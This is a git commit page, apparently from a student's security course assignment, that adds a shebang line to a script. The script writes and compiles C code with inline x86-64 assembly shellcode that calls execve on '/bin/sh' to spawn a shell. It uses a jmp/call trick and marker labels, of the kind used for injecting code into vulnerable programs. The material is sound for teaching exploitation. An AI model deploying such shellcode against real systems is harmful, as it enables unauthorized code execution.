aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorCamil Staps2016-01-02 19:59:45 +0100
committerCamil Staps2016-01-02 19:59:45 +0100
commitbb5b948f8e19d925b7370b45faca3ee8af800e74 (patch)
treefea35423ef286e226620dc228e54b118c43b149e
parentAssignment 6 (diff)
shell, not bash
-rwxr-xr-xCamilStaps-s4498062-Assignment-6/ex2.sh1
1 files changed, 1 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/ex2.sh b/CamilStaps-s4498062-Assignment-6/ex2.sh
index 0a86bf5..1805bdc 100755
--- a/CamilStaps-s4498062-Assignment-6/ex2.sh
+++ b/CamilStaps-s4498062-Assignment-6/ex2.sh
@@ -1,3 +1,4 @@
+#!/bin/sh
echo 'int main() {\n asm("\\\nneedle0: jmp there\\n\\\nhere: pop %rdi\\n\\\n xor %rax, %rax\\n\\\n movb $0x3b, %al\\n\\\n xor %rsi, %rsi\\n\\\n xor %rdx, %rdx\\n\\\n syscall\\n\\\nthere: call here\\n\\\n.string \\"/bin/sh\\"\\n\\\nneedle1: .octa 0xdeadbeef\\n\\\n ");\n}' > shell.c
gcc shell.c